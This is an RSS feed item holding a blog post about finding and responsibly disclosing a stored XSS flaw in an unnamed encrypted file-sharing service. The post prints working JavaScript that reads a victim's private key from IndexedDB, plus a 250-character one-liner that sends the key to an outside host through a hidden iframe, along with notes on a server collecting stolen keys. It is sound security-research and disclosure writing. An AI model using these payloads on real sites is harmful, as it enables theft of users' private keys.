<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title>Tim Visée</title>
        <link>https://timvisee.com</link>
        <description>Personal portfolio and blog of Tim Visée</description>
        <generator>Zola</generator>
        <language>en</language>
        <atom:link href="https://timvisee.com/tags/xss/rss.xml" rel="self" type="application/rss+xml"/>
        <lastBuildDate>Sun, 27 Oct 2019 00:00:00 +0000</lastBuildDate>
        
            <item>
                <title>Stealing private keys from a secure file sharing service</title>
                <pubDate>Sun, 27 Oct 2019 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/stealing-private-keys-from-secure-file-sharing-service/</link>
                <guid>https://timvisee.com/blog/stealing-private-keys-from-secure-file-sharing-service/</guid>
                <description>&lt;p&gt;&lt;em&gt;Note: in agreement with the company, I decided not to name them to prevent
damaging their brand image. The company fixed the issue within an hour after
notifying them, big kudos for that.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Some days ago an article was posted on a Dutch tech website, showing off a newly
released service to securely request files from someone through the web.&lt;&#x2F;p&gt;
&lt;p&gt;As always, I&#x27;m super interested in the cryptographic implementation of such
services to ensure they&#x27;re secure. Even if for example, the company servers
would be compromised. Sadly, their website didn&#x27;t go deep into the technical
details. It only noted some simple facts that local cryptography is used with a
private key using RSA and AES to provide end-to-end encryption. The application
is not open-source which would allow easy auditing, and no white paper is
available.&lt;&#x2F;p&gt;
&lt;p&gt;Their website claims the system is secure, but everyone makes mistakes. So I
decided to put it to the test. Let&#x27;s see what I could break.&lt;&#x2F;p&gt;
&lt;p&gt;Spoiler alert: it didn&#x27;t turn out so well...&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;
&lt;p&gt;&lt;em&gt;This article goes into the technical details on how this was possible, you may
want to skip to the PoC &lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;stealing-private-keys-from-secure-file-sharing-service&#x2F;#video&quot;&gt;video&lt;&#x2F;a&gt; instead.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xss&quot;&gt;XSS
    &lt;a class=&quot;anchor&quot; href=&quot;#xss&quot; aria-label=&quot;Anchor link for: xss&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;After making an account, I started testing with some basic well-known techniques.
Soon I discovered that persistent&#x2F;stored &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Cross-site_scripting&quot;&gt;cross-site scripting&lt;&#x2F;a&gt; was possible
through the account and company name fields.&lt;&#x2F;p&gt;
&lt;p&gt;The service allows you to create a file request. You&#x27;ll then be provided a link
to send to someone, or you can send this by e-mail through their website.
The recipient user is presented with a page on which they can securely upload
files. The request includes your public key, which is used to securely encrypt
your files on their client before anything is transferred to servers. So far,
all well and good!&lt;&#x2F;p&gt;
&lt;p&gt;Here&#x27;s the thing. It appeared that on this file request page, the name (and
company name) of the user that initiated the request is presented, but not
properly sanitized.&lt;&#x2F;p&gt;
&lt;p&gt;By putting the following snippet in your account name field, a JavaScript
message will appear as soon as someone opens any of your request links.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;alert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Hi there!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;xss-alert.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;3e32c754cfc0426800.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;This means we can execute our own code on a targets machine. That&#x27;s some nasty
stuff! The question is, what significant things can we do with this issue?&lt;&#x2F;p&gt;
&lt;h2 id=&quot;local-private-keys&quot;&gt;Local private keys
    &lt;a class=&quot;anchor&quot; href=&quot;#local-private-keys&quot; aria-label=&quot;Anchor link for: local-private-keys&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;The service uses client-side asymmetric encryption to secure your files. Because
we&#x27;re on a website, this must be done through JavaScript. This means that this
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;info.ssl.com&#x2F;faq-what-is-a-private-key&#x2F;&quot;&gt;private key&lt;&#x2F;a&gt; is accessible through JavaScript. The service stores
your generated private key in local &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;IndexedDB_API&quot;&gt;indexedDB&lt;&#x2F;a&gt; storage and is never
sent over the network.&lt;&#x2F;p&gt;
&lt;p&gt;To give some context on private keys: these are essentially what keep encrypted
files secure. Once you have the private key, you can decrypt files that use
that key-pair. You &lt;strong&gt;must&lt;&#x2F;strong&gt; protect this key, and &lt;strong&gt;cannot&lt;&#x2F;strong&gt; share it with someone
else.&lt;&#x2F;p&gt;
&lt;p&gt;You probably guessed it already, we can abuse this by accessing it ourselves by
modifying our snippet we put in the name field.&lt;&#x2F;p&gt;
&lt;p&gt;I wrote some code to retrieve all local data that includes our key.
I came this far in about half an hour. It&#x27;s all quite simple:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;dbReq &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;indexedDB&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;companyname&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;dbReq&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;onsuccess &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;store &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;dbReq&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;transaction&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;objectStore&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;52_private_key&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;store&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;onsuccess &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;alert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;store&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;pem&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Embedding this in our name will make the file request pages show the receiving
user&#x27;s private key in a JavaScript alert. Whoops.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;xss-rsa.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;1cdb274754ccfde100.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;The amazing thing is that the request URL isn&#x27;t modified to achieve this. It
does not look suspicious. The malicious snippet is stored in the database.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;collect-private-keys-on-attackers-server&quot;&gt;Collect private keys on attackers server
    &lt;a class=&quot;anchor&quot; href=&quot;#collect-private-keys-on-attackers-server&quot; aria-label=&quot;Anchor link for: collect-private-keys-on-attackers-server&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Showing a user their private key isn&#x27;t interesting and looks suspicious for
sure. Let&#x27;s send this key to a remote server for the attacker to collect, and
profit, oh yes!&lt;&#x2F;p&gt;
&lt;p&gt;For this, I started an attempt on making &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Methods&quot;&gt;POST&lt;&#x2F;a&gt; requests with the
private key data to a remote domain I own. Here I hit the first roadblock. The
name field only allows input up to 255 characters. Native JavaScript is quite
verbose with making a request, so some serious &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Code_golf&quot;&gt;golfing&lt;&#x2F;a&gt; would be
required.&lt;&#x2F;p&gt;
&lt;p&gt;Soon I found out &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jquery.com&#x2F;&quot;&gt;jQuery&lt;&#x2F;a&gt; was included in the application, which allows
making super simple and short &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;Guide&#x2F;AJAX&quot;&gt;Ajax&lt;&#x2F;a&gt; requests. Brilliant!&lt;&#x2F;p&gt;
&lt;p&gt;This didn&#x27;t work out in the end though because of some set &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;CORS&quot;&gt;CORS&lt;&#x2F;a&gt; headers,
being a nice method for protecting against these kinds of things.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Edit: Someone
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;netsec&#x2F;comments&#x2F;dnwudw&#x2F;stealing_private_keys_from_a_secure_file_sharing&#x2F;f5jg0x5&#x2F;&quot;&gt;mentioned&lt;&#x2F;a&gt;
that this didn&#x27;t work due to a misconfiguration on my server instead. I did set
the &lt;code&gt;Access-Control-Allow-Origin&lt;&#x2F;code&gt; header to &lt;code&gt;*&lt;&#x2F;code&gt; but that didn&#x27;t fix it. I
then blindly assumed this was due to a CORS header on the company end.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Fun fact, this doesn&#x27;t work against non-&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;Guide&#x2F;AJAX&quot;&gt;Ajax&lt;&#x2F;a&gt; requests. Opting for a
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Methods&quot;&gt;GET&lt;&#x2F;a&gt; request with the data suffixed to the URL was perfectly fine, so I
choose to use &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTML&#x2F;Element&#x2F;iframe&quot;&gt;&lt;code&gt;iframes&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;. I suffixed the data to the end of the URL
like &lt;code&gt;&#x2F;&#x2F;example.com&#x2F;?k=DATA&lt;&#x2F;code&gt;, and silently added an &lt;code&gt;iframe&lt;&#x2F;code&gt; to the page with
this link. The browser immediately loads this &lt;code&gt;iframe&lt;&#x2F;code&gt;, sending us our precious
data. This is what we need:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;iframe src=&amp;quot;&#x2F;&#x2F;example.com&#x2F;?k=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;btoa&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ecfdb9;&quot;&gt;JSON&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;stringify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;secret_data&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;quot; &#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;Redirecting the user to the attacker&#x27;s page using
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Window&#x2F;location&quot;&gt;&lt;code&gt;window.location.href&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; would work as well, but that looks
super suspicious.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Hurray! We&#x27;re now remotely collecting someone&#x27;s private key!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of Concept
    &lt;a class=&quot;anchor&quot; href=&quot;#proof-of-concept&quot; aria-label=&quot;Anchor link for: proof-of-concept&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Now that we&#x27;ve implemented these steps, let&#x27;s build a proof of concept.&lt;&#x2F;p&gt;
&lt;p&gt;With some effort, I compressed the code from above into the following one-liner.
With my own short domain, it counts 250 characters, just below the 255 character
limit. Beautiful!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;setTimeout&lt;&#x2F;span&gt;&lt;span&gt;(()&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;indexedDB&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;companyname&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;onsuccess&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#d0d0d0;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;.target.result.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;transaction&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;objectStore&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;getAll&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;onsuccess&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#d0d0d0;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;iframe src=&amp;quot;&#x2F;&#x2F;example.org?k=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;btoa&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ecfdb9;&quot;&gt;JSON&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;stringify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;.target.result))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;quot;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;On the server-side I implemented a simple PHP script that retrieves the data we
suffixed to the URL, it parses it, pulls the key from the data and appends it to
a &lt;code&gt;keys.txt&lt;&#x2F;code&gt; file on my server. Nothing fancy.&lt;&#x2F;p&gt;
&lt;p&gt;This is all we need to steal someones private key for this service from a target!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;video&quot;&gt;Video
    &lt;a class=&quot;anchor&quot; href=&quot;#video&quot; aria-label=&quot;Anchor link for: video&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;I&#x27;ve recorded a simple video showing off the proof of concept.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;There are two users, Alice and Bob.&lt;&#x2F;li&gt;
&lt;li&gt;Alice creates a request link and sends it to Bob.&lt;&#x2F;li&gt;
&lt;li&gt;Bob opens the request link and his private key is stolen.&lt;&#x2F;li&gt;
&lt;li&gt;The private key is sent to an external server Alice has access to, and Alice
can now decrypt files sent to Bob.&lt;&#x2F;li&gt;
&lt;li&gt;On the right, the &lt;code&gt;keys.txt&lt;&#x2F;code&gt; file is shown in which stolen keys are collected.&lt;&#x2F;li&gt;
&lt;li&gt;In the end, I export Bob&#x27;s key through the website as normal and compare it to the key we stole. They match!&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;video controls&gt;&lt;source src=&quot;https:&#x2F;&#x2F;uploads.timvisee.com&#x2F;p&#x2F;stealing-private-keys-from-secure-file-sharing-service-poc-video.webm&quot; type=&quot;video&#x2F;webm&quot;&gt;&lt;source src=&quot;https:&#x2F;&#x2F;uploads.timvisee.com&#x2F;p&#x2F;stealing-private-keys-from-secure-file-sharing-service-poc-video.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;Your browser does not support HTML5 video :(&lt;&#x2F;video&gt;&lt;&#x2F;p&gt;
&lt;p&gt;All in all, it took about 2 hours to figure all this out. Let&#x27;s start fixing
this.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fixed-in-an-hour&quot;&gt;Fixed in an hour
    &lt;a class=&quot;anchor&quot; href=&quot;#fixed-in-an-hour&quot; aria-label=&quot;Anchor link for: fixed-in-an-hour&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;After I built the PoC, I immediately contacted the company privately to notify
them about this issue. They did respond within 15 minutes over e-mail and we
agreed on a secure channel I could use to provide details on this issue.&lt;&#x2F;p&gt;
&lt;p&gt;I sent them the details at 22:08, including the PoC video. They published a fix
at 23:12. That&#x27;s just in about an hour. Big applause to the company for
fixing this issue so quickly. It shows they&#x27;re dedicated to securing their
service, as this was definitely out of company hours.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;impact&quot;&gt;Impact
    &lt;a class=&quot;anchor&quot; href=&quot;#impact&quot; aria-label=&quot;Anchor link for: impact&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Let&#x27;s go over the impact this might have had:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The core issue here was that &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Cross-site_scripting&quot;&gt;XSS&lt;&#x2F;a&gt; was possible. This has been fixed.&lt;&#x2F;li&gt;
&lt;li&gt;This issue allowed you to steal a targets private key if they had stored their
private key in the browser on that computer the link was opened on.&lt;&#x2F;li&gt;
&lt;li&gt;The attacker could use their private key could be used to decrypt files that are
sent to them, but only if you have access to the encrypted blob somehow. This
would require access to their server, which this issue on its own didn&#x27;t provide.&lt;&#x2F;li&gt;
&lt;li&gt;After finding this issue, I did not report it to anybody else other than the
company until they fixed the problem.&lt;&#x2F;li&gt;
